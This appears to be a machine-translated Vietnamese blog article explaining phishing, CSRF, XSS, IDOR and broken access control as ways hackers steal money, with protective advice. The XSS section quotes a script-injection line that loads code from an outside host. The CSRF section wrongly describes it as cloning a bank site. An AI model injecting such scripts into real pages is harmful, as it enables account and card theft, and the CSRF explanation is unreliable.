Bài viết “Cách hacker có thể ăn cắp tiền: Làm thế nào để bảo vệ tài khoản của bạn?” sẽ giúp bạn hiểu rõ hơn về các phương pháp mà hacker sử dụng để ăn cắp tiền và cách bảo vệ tài khoản ngân hàng của bạn tránh khỏi những mối đe dọa này. Bài viết sẽ giải thích chi tiết về các kỹ thuật tấn công phổ biến của hacker, như phishing, tấn công mã độc và các cách thức tấn công khác. Ngoài ra, bài viết cũng sẽ cung cấp những lời khuyên hữu ích để bảo vệ tài khoản của bạn trước các mối đe dọa này. Hãy cùng tìm hiểu và áp dụng những kinh nghiệm trong bài viết để bảo vệ tài khoản của bạn và tránh mất tiền một cách đáng tiếc.
Các cách thức tấn công khác và cách phòng tránh
Sự phụ thuộc của chúng ta vào công nghệ đã tăng lên trong những năm qua, nhưng với sự bùng nổ công nghệ khổng lồ này, tôi nghĩ bảo mật đã bị bỏ lại phía sau, cố gắng bắt kịp với từng cải tiến mới. Đối với tôi, đó là điều rõ ràng nhất khi nói đến phát triển phần mềm.
Các bài viết liên quan:
Hãy nghĩ về môi trường khởi nghiệp. Các nhóm nhỏ có hạn chế về ngân sách đang nỗ lực để tung ra một sản phẩm hoạt động tốt trên web trong thời gian ngắn nhất có thể. Và điều gì chắc chắn sẽ bị đẩy lên nền? Bảo vệ!
Trong bài viết này, tôi muốn khám phá năm cách phổ biến nhất mà hacker có thể thao túng ứng dụng web để lấy cắp tiền hoặc dữ liệu từ bạn.
Phishing
Đầu tiên, chúng tôi đã nhận được lừa đảo. Là một người dùng internet, bạn có thể đã trải qua điều này.
Một tin tặc sẽ cố gắng bắt chước các bên đáng tin cậy như các công ty công nghệ lớn (Microsoft), ngân hàng của bạn hoặc thậm chí những người thân yêu của bạn, để cố gắng truy cập thông tin đăng nhập trực tuyến của bạn. Họ sẽ chơi với cảm xúc của bạn và cố gắng trau dồi cảm giác cấp bách. Đôi khi họ thậm chí sẽ gọi bạn dậy!
Một cách lừa đảo phổ biến là qua email. Kẻ tấn công sẽ giả mạo địa chỉ email của một công ty mà bạn tin tưởng hoặc bắt chước nó rất gần. Biện pháp duy nhất cho điều này là xác minh mọi email quan trọng mà bạn nhận được nhưng đây không phải là một điều dễ dàng thực hiện. Hãy chú ý theo dõi và đừng chỉ nhấp vào bất kỳ liên kết nào trong bất kỳ email nào.
Thay vào đó, hãy chuyển qua ứng dụng đã được xác minh để đảm bảo những gì được đề cập trong email là chính xác. Và nếu điều gì đó cảm thấy kỳ lạ, hãy kiểm tra kỹ URL và địa chỉ email. Bạn sẽ thường thấy rằng nó có một số chữ cái hoặc số khác với người dùng và URL đích thực.
Xem thêm Cách để trở thành Hacker
CSRF
CSRF hoặc Cross-Site Request Forgery có thể rất nguy hiểm. Những gì một hacker có thể làm với CSRF thực sự phụ thuộc vào tính năng mà họ đang khai thác.
Kẻ tấn công sẽ sao chép một trang web mà bạn tin tưởng chẳng hạn như trang web của ngân hàng của bạn … nhưng mọi chuyển khoản bạn thực hiện đều đi thẳng vào tài khoản ngân hàng của kẻ tấn công. Như tên cho thấy, lỗ hổng này xảy ra từ một miền (chẳng hạn như miền mà kẻ tấn công kiểm soát). Điều này cho phép kẻ tấn công mô phỏng một tập hợp các trang web mà chúng sử dụng để lừa đảo.
Để ngăn chặn điều này, ngân hàng của bạn có thể tạo một số ngẫu nhiên liên kết với một biến phiên được in trong một trường ẩn và được gửi đến máy chủ. Máy chủ nên kiểm tra xem mã thông báo CSRF có chính xác cho mọi biểu mẫu được gửi yêu cầu xác thực người dùng hay không.
Nếu bạn muốn kiểm tra điều này, bạn phải rất siêng năng và biết cách đọc một chút mã. Bạn cần kiểm tra bất kỳ biểu mẫu nào có các giao dịch quan trọng và theo dõi mã thông báo CSRF. Điều này có thể ở dạng một tham số trong nội dung hoặc URL nhưng nó cũng có thể được thực hiện bằng cách sử dụng tiêu đề. Mã thông báo CSRF phải được đặt và kiểm tra.
Xem thêm 7 hacker nổi tiếng hàng đầu thế giới
XSS
Lỗ hổng này xảy ra khi một tập lệnh độc hại đã được ẩn sâu bên trong một trang web, chẳng hạn như <script src = http: //hackxpert.com/test.js> </script>. Nó có vẻ bị ẩn nhưng trước khi bạn biết, tài khoản của bạn đã bị tấn công do nội dung của tệp test.js được lưu trữ trên máy chủ của chính ứng dụng.
Với một bản hack XSS, kẻ tấn công có thể lấy thông tin chi tiết thẻ tín dụng của bạn và bắt đầu đặt một số đơn hàng đắt tiền. Phần đáng sợ nhất là nó rất dễ che giấu.
Khi chúng ta nói về XSS được phản ánh, chúng ta biết hai loại cơ bản đang được phản ánh và lưu trữ và chúng ta cũng biết hai nguồn là XSS dựa trên nguồn và XSS DOM. Chúng ta chủ yếu sẽ nói về XSS dựa trên nguồn ở đây vì cần rất nhiều thời gian để giải thích Mô hình Đối tượng Tài liệu.
XSS dựa trên nguồn là thứ mà hầu hết mọi người đều quen thuộc và ít nhất họ phải nhìn thấy vectơ tấn công sau: <script> alert () </script>
Điều này thật tuyệt – nếu bạn muốn bị cấm / lọc. Bên cạnh thực tế đó, đây là cách hacker đôi khi duyệt qua ứng dụng nhiều lần để kiểm tra XSS trong khi họ kiểm tra mọi thông số.
XSS được phản ánh có nghĩa là các giá trị của chúng tôi không được lưu trong cơ sở dữ liệu, vì vậy nếu chúng tôi muốn tấn công ai đó, chúng tôi phải gửi cho họ một liên kết. Đây thường không phải là một điều tuyệt vời và nó làm giảm mức độ nghiêm trọng nhưng đừng để bị lừa, việc nhấp vào liên kết sai rất dễ thực hiện. Những kẻ lừa đảo đang cố gắng tách bạn khỏi số tiền khó kiếm được của bạn bằng một số thao tác nhanh chóng. Họ có thể rất ranh mãnh và ẩn những loại liên kết XSS này.
Mặt khác, XSS được lưu trữ nghiêm trọng hơn rất nhiều, tất cả những gì khách truy cập phải làm là tình cờ phát hiện ra vectơ tấn công và họ có thể mất tiền và tài khoản của mình mà không hề nhận ra. Các cuộc tấn công XSS được lưu trữ thường bị ẩn và đang cố gắng lấy cắp mã thông báo phiên hoặc thông tin có giá trị của bạn từ trang.
Xem thêm Kiểm tra quy trình cấp phép tài khoản
Insecure Direct Object References
Tham chiếu đối tượng trực tiếp không an toàn (IDOR) rất dễ khai thác và hacker có thể dễ dàng tìm thấy. Chúng đang tàn phá những cách bạn có thể mong đợi: truy cập vào tài khoản, thông tin thẻ tín dụng và ví kỹ thuật số của bạn.
IDOR xảy ra khi có các tài nguyên được cho là bị ẩn (Ví dụ: địa chỉ của bạn) và chỉ một số người dùng nhất định (quản trị viên trang web) mới có thể truy cập được. Đôi khi các nhà phát triển có thể quên triển khai Ủy quyền thích hợp
kiểm soát để tin tặc sẽ kiểm tra mọi đối tượng bằng cách thay đổi ID của đối tượng hoặc bằng cách tạo hai tài khoản và sử dụng tiêu đề phiên để tự động hóa tìm kiếm của chúng.
Tin tặc có thể lấy được thông tin cá nhân và thậm chí có thể truy cập vào chức năng thay đổi địa chỉ email của các tài khoản, dẫn đến việc những kẻ tấn công có thể yêu cầu đặt lại mật khẩu sau khi thay đổi email của tài khoản thành của chính chúng. Nếu đây là một ứng dụng ngân hàng có tính bảo mật yếu hơn, bạn có thể hình dung những gì mà hacker có thể truy cập. Hầu hết các IDOR đều được ẩn tốt.
Bạn thường sẽ tìm thấy cái mà tôi gọi là IDOR bậc hai. Bạn nhận được một hệ thống để thực hiện một yêu cầu cho bạn, thực hiện một cuộc gọi đến chức năng xuất khẩu, sau đó yêu cầu một số sản phẩm nhất định. Kẻ tấn công có thể không có quyền truy cập vào các sản phẩm đó nhưng chúng có thể khiến hàm xuất yêu cầu chúng, điều này có thể được xem như một lệnh gọi hệ thống được thực thi mà không gặp sự cố.
Xem thêm Kiểm tra thông tin xác thực được truyền qua kênh được mã hóa
Broken Access Control (BAC)
Kiểm soát truy cập bị hỏng rất khó phát hiện trong khi cho phép kẻ tấn công truy cập vào tất cả các loại chức năng mà chúng không được phép có. Như truy cập thông tin của tất cả người dùng chỉ với một yêu cầu đơn giản. Sự phức tạp nằm ở thực tế là có rất nhiều điểm cuối bị ẩn đằng sau chức năng mà có thể không bao giờ được chạm vào khi đang dồn nén.
Tin tặc có thể lạm dụng BAC vì các nhóm có xu hướng loại bỏ các nút giao diện người dùng để truy cập một số chức năng nhất định nhưng lại quên vô hiệu hóa điểm cuối. Hoặc có thể người kiểm tra đã không kiểm tra BAC với tất cả các loại nhóm người dùng hoặc thậm chí nhóm người dùng tùy chỉnh. Tất cả những điều này đều là khả năng cho các sai sót xâm nhập vào kiến trúc phần mềm và cần được theo dõi cẩn thận. Đôi khi nút front-end bị loại bỏ nhưng không phải là endpoint do hạn chế về ngân sách. Cân nhắc ngân sách bạn cần nếu một tác nhân độc hại có thể lạm dụng chức năng đó.
Kiểm soát truy cập bị hỏng nên được kiểm tra theo nhiều cách vì ngay cả những chức năng cơ bản nhất cũng có thể có lỗi hồi quy xâm nhập vào chúng. Đây là lý do tại sao tốt hơn hết bạn nên đưa kiểm tra tự động vào toàn bộ chiến lược kiểm tra của mình để loại bỏ mối đe dọa về BAC. Tốt hơn là điều này có thể được kiểm tra ở lớp thử nghiệm API hoặc thậm chí là lớp thử nghiệm giao diện người dùng nhưng ngay cả một thử nghiệm tích hợp tưởng chừng đơn giản cũng có thể tạo ra sự khác biệt so với việc không có thử nghiệm nào cả.
Xem thêm Kiểm tra cơ chế khóa tài khoản yếu
Kết luận về cách hacker có thể tấn công bạn
Những khiếm khuyết này chỉ là một phần nhỏ trong hộp công cụ của hacker. Với quá nhiều sự lựa chọn, không khó để thấy rằng tình cờ gặp nhầm người có thể hủy hoại nghiêm trọng một ngày của bạn.
Điều quan trọng cần nhớ là bất kỳ tài nguyên nào bạn truy cập trên internet đều phải được bảo mật. Dễ dàng kiểm tra điều này bằng cách mở URL trong cửa sổ riêng tư. Bạn sẽ không bao giờ có thể truy cập dữ liệu cá nhân của mình trong phiên ẩn danh nếu bạn chưa đăng nhập vì điều đó có nghĩa là những kẻ xấu có thể xem cùng một thông tin.
